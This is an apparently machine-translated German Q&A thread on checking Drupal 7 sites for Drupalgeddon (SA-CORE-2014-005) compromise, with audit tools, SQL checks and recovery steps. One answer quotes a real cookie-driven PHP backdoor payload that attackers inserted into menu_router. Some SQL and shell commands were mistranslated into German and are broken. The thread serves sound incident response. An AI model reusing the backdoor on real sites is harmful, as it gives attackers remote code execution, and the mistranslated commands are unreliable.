it-swarm.com.de

Drupal SA-CORE-2014-005 - Wie kann ich feststellen, ob meine Server / Sites kompromittiert wurden?

Ich habe gerade alle meine Websites mit der Patch-Methode zum Auflösen des Exploits Drupal SA-CORE-2014-005) aktualisiert. Ich habe gerade Berichte gelesen, dass erst gestern jemand von einer russischen IP infiltriert drupal sites.

https://www.drupal.org/SA-CORE-2014-005

Meine Hauptanliegen sind jetzt:

  • Wie kann ich feststellen, ob meine Websites enthalten sind?
  • Worauf sollte ich in meinen Apache-Zugriffsprotokollen achten, um festzustellen, ob meine Website ein Opfer war oder nicht?
  • Was machen diese Hacker bisher mit Websites?
40

Im Folgenden finden Sie einige SQL-Abfragen, die für Ihre Site-DBs ausgeführt werden können, um nach Benutzern mit Administratorrechten zu suchen. Diese Abfragen haben nach dem 15. Oktober auf die Site zugegriffen.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

6
JustinChev

Wenn Sie diesen Artikel lesen und hoffen, mehr als einen Monat nach der Landung des Exploits eine Drupal 7-Site) zu überprüfen, wurde Ihre Site höchstwahrscheinlich bereits gehackt . Am besten stellen Sie ein Backup vor Beginn der Angriffe wieder her und arbeiten von dort aus.

Es gibt ein FAQ zu SA-CORE-2014-005 .

Wie kann ich feststellen, ob meine Websites kompromittiert wurden?

Eine Möglichkeit, schnell zu überprüfen, ob Websites gefährdet sind, ist der Drupalgeddon-Drush-Befehl.

Installieren Sie auf Ihrem ~/.drush mit drush dl drupalgeddon

Dann benutze drush drupalgeddon-test zu testen. Drush-Aliase machen dies einfach und schnell.

Dieses Tool kann eine ausgenutzte Site bestätigen, aber kann nicht garantieren, dass Ihre Site nicht ausgenutzt wurde. Es gibt hier kein "sauberes Gesundheitszeugnis", es sei denn, Sie haben vor Beginn der Angriffe ein Upgrade durchgeführt.


Das Site Audit-Modul enthält einige der Überprüfungen von Drupalgeddon und bietet Ihnen auch viel nützlichere Informationen. Ich empfehle es sehr. (EDIT: Jetzt arbeiten sie zusammen - super schön!)


Die Sicherheitsüberprüfung sucht nicht nach Drupalgeddon-Angriffen, ist aber auch einen Besuch wert.


Wenn Ihre Site-Codebasis für den WWW-Benutzer beschreibbar war, können Sie mithilfe des gehackten Moduls zusätzlich nach geändertem Code suchen. Dieses Modul kann möglicherweise nicht allein aufgrund seines Namens das tun, was Sie denken :)


Obwohl es keinen bestimmten Weg gibt, alle gefährdeten Websites zu identifizieren, können Sie mit diesen Tools die häufigsten Indikationen identifizieren.


Worauf sollte ich in meinen Apache-Zugriffsprotokollen achten, um festzustellen, ob meine Website ein Opfer war oder nicht?

Ihre Zugriffsprotokolle enthalten inzwischen viele POST -Anfragen. Wenn Sie nicht den ungewöhnlichen Schritt unternommen haben, alle Post-Daten vor dem Fehler zu protokollieren, ist es unwahrscheinlich, dass Sie über die erforderlichen Informationen verfügen welche davon waren bösartig.

Was machen diese Hacker bisher mit kompromittierten Websites?

Viele berichten, dass ihre Websites von den Hackern gepatcht werden! Als Angreifer ist dies sinnvoll - Sie möchten nicht, dass Ihre neu entführte Site vom next Angreifer unter Ihnen ausgepeitscht wird :)

Abgesehen davon würde ich raten die Websites werden verwendet, um alle wertvollen Daten zu sammeln (vielleicht ein paar Creds holen, vielleicht Transaktionsdetails nach dem Ausnutzen aufheben) und langweilige Dinge wie das Versenden von Spam zu tun und arbeiten als bescheidene Botnet-Sklaven. Oh, und erweitern Sie das Reich der entführten Angreifer weiter Drupal Sites. (Entschuldigung, ich habe keine gehackten Sites zu beobachten.)

29
Chris Burgess

Einige Überprüfungen auf häufige Angriffe sind (dies ist keine vollständige Liste, aber einige der bisher in freier Wildbahn beobachteten Angriffe):

  • Überprüfen Sie Ihr Benutzerkonto 1, um sicherzustellen, dass der Benutzername, die E-Mail-Adresse oder das Kennwort Ihren Erwartungen entsprechen. Überprüfen Sie nach Möglichkeit auch alle anderen Benutzerkonten mit hohen Berechtigungen.
  • Suchen Sie nach neuen Benutzerkonten, die verdächtig aussehen.
  • Suchen Sie nach Änderungen an den Rollen in Ihrem System, z. B. nach neuen Rollen oder umbenannten Rollen.
  • Suchen Sie nach Berechtigungsänderungen. Der wichtigste Aspekt dabei ist, sicherzustellen, dass die anonyme Benutzerrolle (oder andere Rollen, für die sich jeder anmelden kann) nicht geändert wurde, um ihnen einen besseren Zugriff zu ermöglichen.
  • Suchen Sie nach neuen benutzerdefinierten Blöcken, die möglicherweise schädlichen Code enthalten.
  • Suchen Sie nach neuen benutzerdefinierten Knoten, die möglicherweise schädlichen Code enthalten.
  • Suchen Sie in Ihrem Dateisystem nach Dateien, die nicht vorhanden sein sollten. Dies ist einfach, wenn Sie die Versionskontrolle verwenden, da Sie den Git-Status oder svn st ausführen können, um festzustellen, ob neue Dateien vorhanden sind.
  • Wenn sie schädliche Dateien hochgeladen haben, können Sie Ihre Zugriffsprotokolle auf Treffer auf seltsame Dateinamen überprüfen, mit denen Sie nicht vertraut sind.
  • Überprüfen Sie die Datenbank-Tabelle Ihres Menü-Routers auf schädliche Einträge. Zum Beispiel (das Drupalgeddon-Modul/Drush-Plugin auf drupal.org verfügt über ein gutes Skript, um diese Tabelle gründlicher zu überprüfen):

    SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

  • Sie können auch einfach in Ihrer Menü-Router-Tabelle nach seltsam aussehenden Einträgen suchen.

Einige Dinge, die Hacker versuchen, sind:

  • Platzieren Sie PHP-Skriptdateien auf Ihrer Site, die dann ausgeführt werden können, indem Sie sie in einem Browser aufrufen. Diese Skripte können eine Vielzahl von schädlichen Dingen ausführen. Dies wird durch Hinzufügen böswilliger Menü-Router-Einträge erreicht.
  • Erstellen Sie Administratorkonten für Benutzer, mit denen Sie Ihrer Site schlechte Dinge antun oder Ihre Site übernehmen können.
  • Ändern Sie die E-Mail-Adresse von Benutzer 1, damit das Kennwort für dieses Konto zurückgesetzt und übernommen werden kann.
  • Ändern Sie die Berechtigungen für öffentlich zugängliche Benutzerrollen.
  • Fügen Sie Blöcke/Knoten/etc. Hinzu. das kann bösartigen Code enthalten. Wenn Sie den Filter PHP] aktiviert haben, ist dies ein noch größeres Problem.

Leider gibt es so viele Dinge, die ein Angreifer mit Ihrer Datenbank tun könnte, dass es ziemlich schwierig ist, eine vollständige Liste der Möglichkeiten zu erstellen. Sie könnten Dinge tun, die versuchen, ihnen die Kontrolle über Ihre Site zu verschaffen, oder sie könnten einfach Ihre Site beschädigen, aber Datenbanktabellen oder -spalten usw. löschen.

Sie könnten sogar nur sehr kleine Änderungen an der Site-Konfiguration vornehmen, z. B. das Ändern Ihres Site-Namens oder ähnliches, was nicht das Ende der Welt ist, aber immer noch problematisch.

Grundsätzlich kann ein Angreifer theoretisch alles tun, was Sie in Ihrer Datenbank tun können, indem Sie einen SQL-Befehl ausführen.

Alle in Chris Burgess 'Antwort erwähnten Module sind sehr nützlich, um diese Dinge zu überprüfen.

24
rooby

Ich denke, ich würde dem Rat drupal.org folgen " Sie sollten unter der Annahme fortfahren, dass jede Drupal 7-Website kompromittiert wurde, sofern sie nicht vor dem 15. Oktober, 23 Uhr UTC, aktualisiert oder gepatcht wurde) ist 7 Stunden nach der Ankündigung . ". Wie Bevan sagte in diesem Kommentar " Aktualisieren oder Patchen Drupal repariert keine Hintertüren dass Angreifer vor dem Aktualisieren oder Patchen von Drupal installiert haben. "

Bevan hat auch Folgendes gemacht Workflow-Diagramm, mit dem Sie analysieren können, ob Sie möglicherweise infiziert wurden und wie Sie es wiederherstellen und verhindern können . Er bittet jedoch alle, zu seinem Originalartikel zu gehen, um sicherzustellen, dass Sie über die neueste Version des Workflows verfügen. Außerdem macht Acquia einen interessanten Artikel über die Angriffe und Muster, die sie in Acquia Cloud erlebt haben

 flowchart to understand if you are vulnerable, if you might have been infected and how to recover

10
cayerdis

Zitat aus: https://www.drupal.org/node/2357241#comment-9258955

Dies ist ein Beispiel für die Datei, die in die Spalte access_callback der Tabelle menu_router eingefügt wird:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php [email protected]$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Wie Sie sehen können, wird versucht, die Datei modules/image/vzoh.php zu erstellen, aber da ich nur Leseberechtigungen in diesen Verzeichnissen habe, schlägt PHP mit fehl.

Berichte von Personen, die ähnliche Dateien gefunden haben, die bei einer Suche in Ihrem drupal Verzeichnis: https://www.drupal.org/node/2357241#comment-9260017 erstellt wurden


Ich habe den folgenden Befehl ausgeführt:

ack --type = php 'php\$ form'> hacked_searched_php_form1.txt

==================

Zitiert von: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Anzeigen von Dateien, die sich auf dem Live-Server geändert haben: Git-Status

Suchen Sie nach Codeausführungsversuchen über menu_router: Wählen Sie * aus menu_router aus, wobei access_callback = 'file_put_contents'.

Anzeigen, welche Dateien sich auf dem Live-Server und nicht in der Versionskontrolle befinden: diff -r docroot repo | grep docroot | grep 'Nur in docroot'

Suchen von PHP Dateien im Dateiverzeichnis: find. -Pfad "* php"

Überprüfen Sie die Zeitspanne zwischen der Anmeldung eines Benutzers auf Ihrer Website und dem letzten Seitenbesuch: Wählen Sie (s.timestamp - u.login)/60/60/24 AS days_since_login, u.uid aus den Sitzungen der internen Join-Benutzer der Sitzung aus s.uid = u.uid;

4

Eine sehr gute Liste von Befehlen, um festzustellen, ob Sie komprimiert wurden.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(Rand()))));
3

Mit diesem Online-Tool können Sie überprüfen, ob Ihre Website gehackt wurde:

Drupal Check: The EngineHack

Natürlich hat es seine Grenzen, aber es ist ein guter Ausgangspunkt.

0
bmunslow